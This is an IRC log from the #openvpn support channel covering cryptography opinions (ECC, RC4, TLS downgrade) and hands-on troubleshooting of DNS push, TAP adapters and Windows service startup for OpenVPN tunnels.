11:16 <+pekster> That remains yet to be seen; what can be said is that ECC is vastly more complex since you need to pick a curve to use when generating either ECDH or ECC keypairs, and given the complexity of the math I'm content to let academics sort it out for a bit longer. Nothing is really "wrong" with traditional asymmetric crypto provided sane key sizes are used and secure implementations
11:21 <+s7r> correct. even if explained to me - i still wound't fully understand as i'm not math academician
11:22 <+s7r> tiwtter goes mad about the fact that he NSA has implemented a backdoor in the DC
11:22 <+s7r> yet another thing i can't confirm or infirm
11:22 <+pekster> The function is the same, but even down to a user perspective it's more complicated becuase you don't "just generate" ECC keypairs: _you_ need to pick a curve to generate params before you can even do that
11:23 <+pekster> I was going to link you to the NIST resources, but the US gov't shutdown has taken it offline ;)
11:24 <+s7r> pekster from your point of view off the record
11:24 <+s7r> you think such complex math could have backdoors
11:25 <+s7r> given the fact that it's analyzed by thousands of experts?
11:25 <+pekster> In theory, yes, but in practice it would have to be so incredabily clever that no one in the academic circles would notice. The reality is that the government can't have a "backdoor" when you live in a house of glass, so to speak
11:26 <+pekster> The more likely situation is that very small changes are pursued that make reducing the complexity slightly easier, perhaps with hardware available to massively-funded agencies, and that's pure speculation unless you can put experts inside Bluffdale or something
11:26 <+s7r> this is my thinking also
11:27 <+pekster> There's plenty of other low-hanging fruit; openvpn's TLS negotiation is somewhat open to MITM downgrade TLS attacks unless both ends restrict to a favorable set of --tls-cipher options, for instance
11:27 <+pekster> You can't "break" the security doing that, but you can weaken it to the point that your cluster of TLS-chomping-hardware can possibly break the reduced security
11:28 <+s7r> yeah. there is a lot of speculation out there but the truth is that, in all cases where security and cryptography was broken ,all of them were human error or human mistakes
11:29 <+pekster> If you can find a copy not from nist.gov, the ECC curve recommendations are in FIPS publication 186-4 Appendix D.1
11:29 <+s7r> it had nothing to do with the crypt or the math behind it or so on
11:29 < gac> pekster is right IMO, I've worked in a UK university for 10 years and I bet there are more mathematical/compsci eyes on crypto than ever before at the moment. everyone probably wants to be the one to somehow prove that crypto is broken thanks to the NSA/GCHQ, even if they can then never talk about it
11:30 <+pekster> Not really; single-DES is flawed, as is RC4 and others
11:30 <+s7r> it is due to the computer power we have nowadays
11:30 <+pekster> Plenty of "old ciphers" are known to be weak. MD5 collisions are a wonderful example to
11:30 <+s7r> and the mode
11:30 <+pekster> Not really, but feel free to think that if you'd like
11:30 <+s7r> yes pekster but they aren't used in OpenSSL any more right ?
11:31 <+pekster> Sure they are; I just loaded wikipedia's https site and was served with RC4 symmetric crypto
11:32 <+pekster> (fun fact: if you use your browser config features to disable RC4, lots of stuff on the web breaks. Makes NSA's job a lot easier when websites might shut the door but leave it unlocked)
11:32 <+pekster> Again: if you care about security, spend some time learning how to harden your use of crypto in your applications
12:02 -!- JSharpe [~JSharpe@ns222920.ovh.net] has joined #openvpn
12:42 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
12:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:54 -!- xrosnight [~quassel@163.125.249.117] has joined #openvpn
12:54 -!- xrosnight [~quassel@163.125.249.117] has quit [Changing host]
12:54 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
13:14 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
13:19 -!- CygniX [~CygniX@unaffiliated/twois10] has joined #openvpn
13:20 < CygniX> can the cipher for openvpn be changed after keys and all have been setup?
13:25 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 245 seconds]
13:26 < CygniX> to change the cipher in the config file, is this right? 'cipher camellia-256-cbc'
13:29 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
13:43 -!- Cygni [~CygniX@unaffiliated/twois10] has joined #openvpn
13:45 -!- Cygni [~CygniX@unaffiliated/twois10] has quit [Client Quit]
13:47 -!- CygniX [~CygniX@unaffiliated/twois10] has quit [Ping timeout: 264 seconds]
14:10 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 256 seconds]
14:16 -!- Enyx [~Enyx@static-176-182-45-139.ncc.abo.bbox.fr] has joined #openvpn
14:16 < Enyx> Hi all, someone could help me with a basic VPN configuration ?
14:17 < Aketzu> probably
14:17 < Aketzu> (i.e. just tell what you need)
14:18 < Enyx> I have a VPS and i want to setup a VPN to bypass restrictions when i'm at work :)
14:19 < Aketzu> how restricted you are... can you connect to your vps "at all" from work
14:20 < Enyx> i was using Vpnbook and it was working fine
14:20 < Enyx> but now i want my own VPN
14:21 < Enyx> i looked at few tutos on internet but it seems they are for NAT to Internet VPN
14:21 < Enyx> Not Internet to Internet
14:21 < Enyx> i'm not sure of what i'm saying x)
14:22 < Enyx> not nat but lan* ><
14:24 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 256 seconds]
14:24 < Aketzu> you want to bypass restrictions on some certain sites?
14:25 < Enyx> Only port 80 is allowed there
14:25 < Enyx> and they monitor traffic
14:25 < Enyx> so i want a VPN so i can use blocked port
14:25 < Enyx> as i'm doing with vpnbook
14:41 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
14:50 <+s7r> tls v1.2 is backward compatible with v1.1 and v1.0 ?
15:05 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
15:12 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
15:13 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has joined #openvpn
15:14 < cornfeedhobo> does anyone know if the official mobile app can handle certs with passwords?
15:17 < Aketzu> yes
15:18 < cornfeedhobo> thx
15:18 < cornfeedhobo> i will let you know if i catch a snag. as always , thanks :)
15:23 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Quit: Leaving]
15:33 -!- mattock_afk is now known as mattock
15:35 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
15:39 -!- mattock is now known as mattock_afk
15:53 -!- JackWinter [~jack@vodsl-11200.vo.lu] has quit [Quit: Konversation terminated!]
15:55 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
15:55 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Quit: Leaving.]
16:00 -!- ingmar5 is now known as KiNgMaR
16:17 -!- MattJ1000 [~matthew@109.176.201.179] has quit [Read error: Operation timed out]
16:18 -!- MattJ1000 [~matthew@109.176.201.179] has joined #openvpn
16:28 -!- Roklobsta [~Roklobsta@ppp118-209-60-64.lns20.mel4.internode.on.net] has joined #openvpn
16:32 < Roklobsta> when compressing data on a vpn connection does comlzo send the original data or compressed data if the compression results in a bigger packet as can happen if compression algorithms compress already compressed data like jpg
16:57 < Roklobsta> to put it succinctly has anyone else seen or does anyone know if the complzo reult in more data being sent if the data is already compressed?
16:57 < Enyx> seems none know :/
16:59 < Roklobsta> i am looking at a resourse tool in windows server.  data on dfsr is 7MB/min and data on the openvpn.exe is over 8MB/s
16:59 < Roklobsta> unless I am not reading things right it looks like there is expansion (the opposite of what is desired)
16:59 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
16:59 < Roklobsta> 8MB/min
17:01 < Roklobsta> i have tested copying a text file and the speed improvement over openvpn was 2.5 times
17:01 < Roklobsta> vs pptp
17:02 <@krzee> a text file would benefit from the lzo, could be apples to oranges if you are using lzo in openvpn and not pptp
17:02 <@krzee> (lzo compression)
17:02 < Roklobsta> yeah i understand so i am saying with uncompessed data openvpn/lzo works well.  with compressed I am not so sure
17:03 < Roklobsta> it looks like it's creating more volume of data with already compresses data (dfsr)
17:05 < Roklobsta> i would imagine (without looking at the source code of openvpn) a decision would be made to send the oiginal data if lzo produced a bigger compressed block of data.
17:13 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has left #openvpn []
17:47 -!- Mr^Mo|2 [~kvirc@port-92-192-31-190.dynamic.qsc.de] has quit [Ping timeout: 264 seconds]
17:47 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:18 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
18:44 -!- MattJ1000 [~matthew@109.176.201.179] has quit [Ping timeout: 240 seconds]
18:51 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 256 seconds]
19:03 < Enyx> How to check if the push "dhcp-option DNS 8.8.8.8" is used on client ?
19:08 <@krzee> depends on the client's os, just check what NS it's using before and after
19:08 <@krzee> running the command nslookup should say it
19:08 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 245 seconds]
19:08 <@krzee> jeffs-MacBook-Pro:SNES jeff$ nslookup google.com
19:08 <@krzee> Server:		8.8.8.8
19:09 < Enyx> Problem is that i can't get the ip from the hostname
19:09 < Enyx> even if i pass 8.8.8.8 as DNS
19:09 < Enyx> so i want to know if it passed it or not :/
19:09 <@krzee> then CHECK!
19:10 <@krzee> also check if dns works when you specify 8.8.8.8 as the NS to check
19:10 <@krzee> jeffs-MacBook-Pro:SNES jeff$ host google.com 4.2.2.1
19:10 <@krzee> Using domain server:
19:10 <@krzee> Name: 4.2.2.1
19:10 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 248 seconds]
19:11 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:14 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
19:15 < Enyx> when specifying the DNS it works
19:15 < Enyx> if not it doesnt
19:15 <@krzee> cool
19:15 <@krzee> now, what os is the client?
19:16 < Enyx> client is Debian 64
19:16 < Enyx> server is deb 54
19:16 < Enyx> 64 server*
19:16 <@krzee> !pushdns
19:16 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
19:17 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
19:17 <@krzee> you know #4?
19:17 <@krzee> pushing dns to anything non-windows requires a client side script
19:17 <@krzee> to pull out the info and apply it.
19:17 < Enyx> oh shit
19:17 < Enyx> ok
19:18 < Enyx> thank you
19:18 <@krzee> np
19:18 < Enyx> and on windows i have a problem with the exact same config
19:18 <@krzee> windows 7?
19:19 < Enyx> yes
19:19 <@krzee> see #5 above.
19:19 < Enyx> MULTI: bad source address from client
19:19 <@krzee> thats not the whole error...
19:19 < Enyx> [Ipv6 Adress]
19:20 < Enyx> wait i'll run it
19:20 < Enyx>  EnyxDell/MyIP:56976 MULTI: bad source address from client [SomeIPV6], packet dropped
19:21 <@krzee> wtf does SomeIPV6 apply to?
19:21 <@krzee> the box's internet IP?
19:21 <@krzee> its vpn ip?
19:21 <@krzee> s/apply/translate
19:22 < Enyx> idk
19:22 < Enyx>  [fe80::a8ec:229d:eb14:a97d],
19:22 <@krzee> do you even use ipv6?
19:22 < Enyx> From w$
19:22 < Enyx> idk
19:22 <@krzee> you dont know!?
19:22 < Enyx> No xD
19:22 <@krzee> isnt this YOUR machine!?
19:23 < Enyx> It is ^^
19:23 <@krzee> then how the hell do you not know if you use ipv6?
19:23 <@krzee> sorry if that came out rude, but seriously!
19:23 < Enyx> caus i just pluged the ethernet cable and it worked xD
19:23 <@krzee> o.O
19:23 <@krzee> ok well you can ignore that error
19:24 <@krzee> some app on your system is sending crap with a ipv6 src address, likely something you dont care about
19:24 < Enyx> Well, in result it doesnt work x)
19:24 <@krzee> probably a red herring
19:24 <@krzee> what is your goal?
19:24 < Enyx> i recieve like 20 of these by second
19:24 <@krzee> redirecting internet over the vpn?
19:24 < Enyx> ye
19:24 < Enyx> yes*
19:24 <@krzee> !redirect
19:24 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
19:24 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
19:25 <@krzee> also, show me your ifconfig -a
19:25 <@krzee> (pastebin)
19:25 <@krzee> and DONT change addresses, or i will ignore you
19:25 < Enyx> it's public here x)
19:25 <@krzee> also, for the record, if you dont know if you run ipv6 or not, you dont belong being the admin of a vpn
19:26 <@krzee> vpn = advanced networking
19:26 <@krzee> knowing if you use ipv6 = super beginner networking
19:26 < Enyx> i'm setting up my first vpn on my own server x)
19:26 < Enyx> http://pastebin.com/Duayd1e6
19:27 -!- dualcore [~dualcore@unaffiliated/dualcore] has quit [Quit: leaving]
19:30 <@krzee> ya you have some sort of mis-configured app sending traffic over the vpn with source address of ipv6
19:30 <@krzee> you can ignore it, or figure out what it is and block it
19:31 <@krzee> either way, it should be unrelated to your setup not working
19:31 <@krzee> !redirect
19:31 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
19:31 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
19:31 <@krzee> follow the flowchart at #4
19:34 <@krzee> it will help us help you
19:35 <@krzee> you find where it gets stuck, then we can easily tell you what the problem is
19:46 < Roklobsta> quick question, if i run openvpn with an administrative command shell (from a flippin' administrators account mind you) it works.  If I run it as a service it doesn't, even IF I set the logon to an administrators account.  What could i be doing wrong?
19:46 < Roklobsta> server 2008 BTW
19:48 <@krzee> Roklobsta, check the logfile
19:48 <@krzee> !logfile
19:48 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
19:48 < Roklobsta> i ahev it's not clear.  the routes in the route table are all set but pings don't work and I get a dump of the network state with the warning for the faq at the end
19:51 < Roklobsta> Sun Oct 06 09:15:13 2013 us=202696 TEST ROUTES: 0/0 succeeded len=1 ret=0 a=0 u/d=down Sun Oct 06 09:15:13 2013 us=202696 C:\Windows\system32\route.exe ADD 10.0.1.0 MASK 255.255.255.0 10.9.0.2 Sun Oct 06 09:15:13 2013 us=218295 ROUTE: CreateIpForwardEntry succeeded with dwForwardMetric1=30 and dwForwardType=4 Sun Oct 06 09:15:13 2013 us=218295 Route addition via IPAPI succeeded [adaptive]
20:19 < Roklobsta> so the log says it works but it's not
20:19 < Roklobsta> it's pissing me off greatly
20:19 <@krzee> show me the entire log
20:19 < Roklobsta> it's level 4
20:19 <@krzee> good
20:19 < Roklobsta> hang2
20:20 <@krzee> 4 is good, dont need 5
20:24 < Roklobsta> /msg krzee remote privateip port 1195 dev tun1 ifconfig 10.9.0.1 10.9.0.2 secret static.key verb 4 comp-lzo keepalive 10 60 ping-timer-rem persist-tun persist-key route 10.0.1.0 255.255.255.0 #route-delay 20 30  With the appropriate reciprocal at the other end.
20:26 < Eugennerz> /fail
20:29 < Roklobsta> poo
20:32 < Roklobsta> how'd that happen anyway I appreciate any help krzee
20:32 < Roklobsta> or anyone
20:41 < Roklobsta> op looks like the tuntap isn't coming up in time for some reason
20:42 < Roklobsta> even with route-delay 30 30
20:49 < Roklobsta> teh taps are playing funny buggers too.  something is just not right with the tap drivers i think
20:49 < Roklobsta> it's all working again now, but as admin, not as service
20:58 -!- FaV1r3s [~FaV1r3s@unaffiliated/fav1r3s] has quit [Excess Flood]
20:58 -!- FaV1r3s [~FaV1r3s@2a00:d880:3:1::dc9:c86a] has joined #openvpn
20:59 -!- FaV1r3s [~FaV1r3s@2a00:d880:3:1::dc9:c86a] has quit [Changing host]
20:59 -!- FaV1r3s [~FaV1r3s@unaffiliated/fav1r3s] has joined #openvpn
21:06 -!- _nwonknu [unknown@shell.nethack.be] has quit [Read error: Operation timed out]
21:06 -!- neutr0n- [~neutr0n@wsip-24-248-162-194.ks.ok.cox.net] has joined #openvpn
21:06 -!- _nwonknu [unknown@shell.nethack.be] has joined #openvpn
21:07 -!- ccha [~ccha@unaffiliated/ccha] has quit [Read error: Operation timed out]
21:07 -!- ccha2 [~ccha@unaffiliated/ccha] has joined #openvpn
21:08 -!- neutr0n` [~neutr0n@wsip-24-248-162-194.ks.ok.cox.net] has quit [Read error: Connection reset by peer]
21:17 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 252 seconds]
21:19 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
21:26 <@krzee> Roklobsta, no need to msg, saying my name here gets my attention equally, im working so i respond when i can
21:26 < Roklobsta> oh ok cool thanks
21:26 <@krzee> Sun Oct 06 09:15:13 2013 us=389882 Initialization Sequence Completed With Errors ( see http://openvpn.net/faq.html#dhcpclientserv )
21:26 <@vpnHelper> Title: FAQ Community Software (at openvpn.net)
21:26 <@krzee> did you go to the link that openvpn told you to go to?
21:27 -!- ccha2 [~ccha@unaffiliated/ccha] has quit [Read error: Connection reset by peer]
21:28 <@krzee> Sun Oct 06 09:14:27 2013 us=14353 CreateFile failed on TAP device: \\.\Global\{73F120E2-AF4D-4DAA-B5FB-16BA3BEC415D}.tap
21:28 -!- ccha2 [~ccha@unaffiliated/ccha] has joined #openvpn
21:28 <@krzee> is it possible that openvpn is running?
21:28 <@krzee> like is the gui already running?
21:30 <@krzee> Roklobsta, can you reboot, then try to start openvpn via the service?
21:30 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
21:31 < Roklobsta> yeah i had a look at that but i am ntnot sure
21:31 < Roklobsta> about the faq info
21:31 < Roklobsta> reboot ok
21:31 < Roklobsta> well it is working as admin but the order i started the two vpns seems to matter
21:31 < Roklobsta> it's working from admin cmd
21:31 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
21:32 < Roklobsta> there are no other instances of ovpn running
21:32 < Roklobsta> or gui
21:32 < Roklobsta> i had to add 3 taps, disable the 1st before i could get anything to run
21:32 < Roklobsta> it's like each vpn has a tap affinity
21:33 < Roklobsta> FML
21:33 < Roklobsta> and deleting taps is fun, the script deletes one then stalls then you have to repeat until all gone
21:34 < Roklobsta> so i am very confused about what is happening here
21:35 <@krzee> so thats a no to rebooting?
21:35 < Roklobsta> not yet
21:35 < Roklobsta> i'll try it a bit later...
21:35 <@krzee> k, maybe ill stop in later
21:35 <@krzee> goodluck
21:35 < Roklobsta> do you have any inklings?
21:36 < Roklobsta> what might be going on?
21:36 <@krzee> some sort of issue opening your tap device
21:36 < Roklobsta> could it be the AV?
21:36 <@krzee> dunno
21:36 <@krzee> but i plan on ignoring it til after your reboot
21:36 < Roklobsta> google isn't much help.  it seems most opebvp use is on *nix
21:37 < Roklobsta> ok i'll reboot now, might be 20mins
21:49 -!- BrownBoar [~Steven@75.126.39.76-static.reverse.softlayer.com] has joined #openvpn
21:50 < BrownBoar> I'm confused about something
21:50 < BrownBoar> what exactly is "Access Server"? Is that different from an OpenVPN server running on a linux distro?
21:51 < BrownBoar> I want have an easy way for people to connect to my OpenVPN server, so I'd like to have them use the clients listed here: http://openvpn.net/index.php/access-server/download-openvpn-as-sw/357.html
21:51 <@vpnHelper> Title: Client Packages (at openvpn.net)
21:51 < BrownBoar> but it says those are for "Access Server".
21:51 < BrownBoar> so if I'm running OpenVPN server on Debian, are those clients still compatible?
21:54 <@krzee> !as
21:54 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
21:54 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
21:54 <@krzee> access-server is the closed source pay version of openvpn
21:54 < BrownBoar> The documentation isn't clear on this, but the fact that people pay money for access server IS clear
21:54 <@krzee> as oppposed to opensource GPL version
21:54 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
21:54 -!- mode/#openvpn [+v s7r] by ChanServ
21:54 < BrownBoar> so would those clients not work on an opensource OpenVPN server?
21:55 <@krzee> !as
21:55 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
21:55 < BrownBoar> ok
21:55 <@krzee> gotta ask them
21:55 <@krzee> i assume they would not, but i wouldnt really know
21:55 < BrownBoar> 20 users in there. Hopefully someone will answer.
21:56 <@krzee> might take awhile since it is 8pm saturday night in the corporate timezone (pst)
21:56 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
21:58 <@krzee> Enyx, did you ever follow the flowchart? or did you fix it yourself?
21:59 <@krzee> it usually takes people like 1 minute to complete the flowchart and tell us how to help them
21:59 < BrownBoar> I can get linux clients connected to my server easily, but I'm having issues getting a Windows7 client implemented. It's especially hard because I don't use windows anymore and am trying to tell an inexperienced user how to use OpenVPN.
22:00 < BrownBoar> doing this from far away over voip/phone.
22:00 <@krzee> im strongly leaning towards "no you must use GPL client with GPL server"
22:00 <@krzee> and you should check out teamviewer
22:00 <@krzee> then you can control their computer instead of talking to them
22:00 < BrownBoar> but teamviewer is proprietary. How safe is it?
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:10 < BrownBoar> this could give a good solution: https://community.openvpn.net/openvpn/wiki/RelatedProjects#ClientGUI
22:11 <@vpnHelper> Title: RelatedProjects – OpenVPN Community (at community.openvpn.net)
22:11 < BrownBoar> there are several open source GUIs there
22:24 <@krzee> BrownBoar, no idea how safe it is, but i use it when im in your situation because i 100% refuse to walk non techs through tech shit over the phone
22:25 < BrownBoar> heh yeah I know what you mean. I'm thinking of using TightVNC instead though. But I'll have to figure out how to tunnel it through ssh or something secure.
22:26 <@krzee> you could also configure his vpn as a service and not use a gui at all
22:26 <@krzee> (thats what i usually do for non technical windows users)
22:26 <@krzee> that way its all transparent to the user
22:28 < BrownBoar> I just need to get their clients connected to my server. No need for a server on their end.
22:29 < BrownBoar> Besides, I think we're close to solving it. Does the client config file on windows have to be named "client.ovpn"? I had it named something else.
22:29 <@krzee> huh?
22:30 <@krzee> who was talking about a server on their end?
22:30 <@krzee> im talking about a windows server
22:30 <@krzee> no, it can be named anything.ovpn
22:30 <@krzee> file extension matters, filename does not
22:31 < BrownBoar> they got some kind of message that said something about how one of the cert/key/config files needs to have a different name on windows than on linux. (I gave them filenames that would work on linux, except for giving .ovpn to client config file).
22:31 < BrownBoar> they told me the message was for the .ovpn file
22:31 <@krzee> ya im not going to be able to help you until you get control of the machine
22:32 <@krzee> no support by proxy for me!
22:32 < BrownBoar> not gonna get control of it soon, as they're giving up and going to bed :(
22:32 <@krzee> teamviewer, youd already be done!
22:32 <@krzee> (then uninstall it if you're scared of it)
22:33 < BrownBoar> people suggest that program a lot but I haven't felt enthused about proprietary software.
22:33 <@krzee> me neither, til i compare the bs you're dealing with and the lac of bs i deal with
22:33 <@krzee> s/lac/lack/
22:35 < Roklobsta> krzee: ok rebooted and service start of both still fails
22:35 <@krzee> wait wait, "of both" ?
22:36 < Roklobsta> i have two .opvpn's
22:36 < Roklobsta> two taps
22:36 <@krzee> oh shit, did you say that earlier?
22:36 <@krzee> i missed it
22:36 < Roklobsta> the server is linking to two remote servers
22:36 <@krzee> o you need to make 2 tap interfaces, and tell the .ovpn config which to use
22:36 <@krzee> so*
22:36 < Roklobsta> i have
22:36 <@krzee> show me the configs without the comments
22:36 <@krzee> !configs
22:36 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
22:36 < Roklobsta> each log file show's it iterating the tap interfaces and successully opening unique taps
22:37 <@krzee> i dont need the server one, just the client
22:37 <@krzee> umm no dude
22:37 <@krzee> its NOT successfully opening the tap
22:37 < Roklobsta> ok
22:37 <@krzee> at least not in the log you sent
22:37 < Roklobsta> OK
22:37 < Roklobsta> alright
22:37 <@krzee> Sun Oct 06 09:14:27 2013 us=14353 CreateFile failed on TAP device: \\.\Global\{73F120E2-AF4D-4DAA-B5FB-16BA3BEC415D}.tap
22:37 < Roklobsta> oh
22:38 < Roklobsta> ok new logs both show taps are opened
22:38 <@krzee> first of all
22:38 <@krzee> if i knew there were 2 i would have said to only open 1 after the reboot
22:38 <@krzee> so now? reboot again, only load 1 vpn, then shoot me the config and the log
22:38 < Roklobsta> remote *privateip*
22:38 < Roklobsta> port 1195
22:38 < Roklobsta> dev tun1
22:38 < Roklobsta> ifconfig 10.9.0.1 10.9.0.2
22:38 < Roklobsta> secret static.key
22:38 < Roklobsta> verb 4
22:38 < Roklobsta> comp-lzo
22:38 < Roklobsta> keepalive 10 60
22:38 < Roklobsta> ping-timer-rem
22:38 < Roklobsta> persist-tun
22:38 < Roklobsta> persist-key
22:38 < Roklobsta> route 10.0.1.0 255.255.255.0
22:39 -!- Roklobsta was kicked from #openvpn by krzee [Roklobsta]
22:39 <@krzee> dumbass
22:39 -!- Roklobsta [~Roklobsta@ppp118-209-60-64.lns20.mel4.internode.on.net] has joined #openvpn
22:39 <@krzee> wtf
22:39 < Roklobsta> you kicked me?
22:39 <@krzee> you pasted to the channel?
22:39 < Roklobsta> sorry
22:39 <@krzee> np, pastebin
22:42 < Roklobsta> http://pastebin.com/iawbwNrL
22:42 < Roklobsta> now i have tun2 because i was messing about but it doesn't seem to have any effect on windows
22:44 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 260 seconds]
22:44 <@krzee> right, it doesnt
22:44 <@krzee> 1sec lemme find the doc
22:44 < Enyx> Shit felt asleep
22:45 <@krzee> Enyx, ahh yes, that happens L:D
22:45 <@krzee> s/L//
22:45 < Enyx> My bed is calling me
22:46 < Enyx> See you x)
22:46 <@krzee> good night
22:46 < Enyx> Ty, you too :p
22:48 < Roklobsta> krzee: now, for the sake of simplicity and to get things working, both connections share the same static.key file
22:48 < Roklobsta> will that mess shit up?
22:48 <@krzee> nah
22:48 < Roklobsta> i dind't think so
22:48 <@krzee> you wont have forward security, but it'll work
22:48 < Roklobsta> i was getting some replay errors earlier, i though it might have something to do with it
22:49 <@krzee> you on wifi?
22:49 < Roklobsta> no
22:49 < Roklobsta> ok, now i have closed that initial failing one and opened the other one and it works.  like i said, the tap seems to have an affinity
22:50 <@krzee> its cause you arent defining the tap device to use
22:50 <@krzee> im trying to find it in the docs for you
22:51 -!- Enyx [~Enyx@static-176-182-45-139.ncc.abo.bbox.fr] has quit [Ping timeout: 246 seconds]
22:53 < Roklobsta> thanks
22:53 < Roklobsta> i have the man page here
22:53 < Roklobsta> what option do you think it is?
22:53 < Roklobsta> ok i double checked, i have to start the vpns in a particular order and they work
22:54 < Roklobsta> otherwise fail
22:55 < Roklobsta> and each started in it's own admin coonsole (even though I am logged in as the damned admin WTF)
23:03 < Roklobsta> this trouble server i am on is SBS2008.  Each remote server is Server 2008.  OpenVPN service seems to run just fine on them.  This SBS system is the PITA.
23:03 < Roklobsta> the objective is to have the 3 sites LANs linked in a triangle config.
23:10 < Roklobsta> krzee: allo?
23:11 <@krzee> just got off a work call, still googling for you'
23:16 < Roklobsta> cool no worries
23:17 <@krzee> ahh here we go!
23:17 < Roklobsta> yeah the openvpn service with similar configs (with 2 vpn configs each as part of the apex of a triangle) starts and stops just fine
23:17 <@krzee> what you need is mentioned in the sample config at the bottom of the howto
23:17 <@krzee> !howto
23:17 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
23:17 <@krzee> see the note above #dev-node
23:18 <@krzee> # Windows needs the TAP-Win32 adapter name from the Network Connections panel if you have more than one.
23:18 <@krzee> ...
23:18 < Roklobsta> just wondering, why do the 2 remote servers work without fuss and this sbs server gives me shit?
23:18 <@krzee> some sort of luck i guess
23:18 < Roklobsta> they are both clean systems i installed
23:18 <@krzee> doing something different somewhere somehow and dunno its mattering
23:19 < Roklobsta> this sbs box is some 4 year old thing i inherited
23:19 <@krzee> honestly if i had your goal i would not be doing it in windows, i would do it on the routers
23:19 < Roklobsta> god knows WTF has happened to it in the last 4 years
23:19 < Roklobsta> i agree but i am kind stuck on that front
23:19 < Roklobsta> budget
23:19 <@krzee> i bought my openvpn routers for $40
23:20 <@krzee> (each)
23:20 < Roklobsta> what model
23:20 <@krzee> lemme look, then im leaving (work is out)
23:20 < Roklobsta> trouble is i am far away from one system and can't do anything from here and noone there knows what a network cable is.
23:20 < Roklobsta> but i like a challenge
23:21 < Roklobsta> it's the same amount of work, windows vs routers
23:23 <@krzee> tp-link tl-wr841nd
23:23 -!- dfresha [krapper@territory.krapper.net] has joined #openvpn
23:24 <@krzee> its small so i made my own firmware to remove the web interface and add openvpn (and all sorts of other goodies)
23:24 <@krzee> like bird routing daemon for doing ospf over my VPNs
23:24 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-gkogynzxptrcqlws] has quit [Ping timeout: 248 seconds]
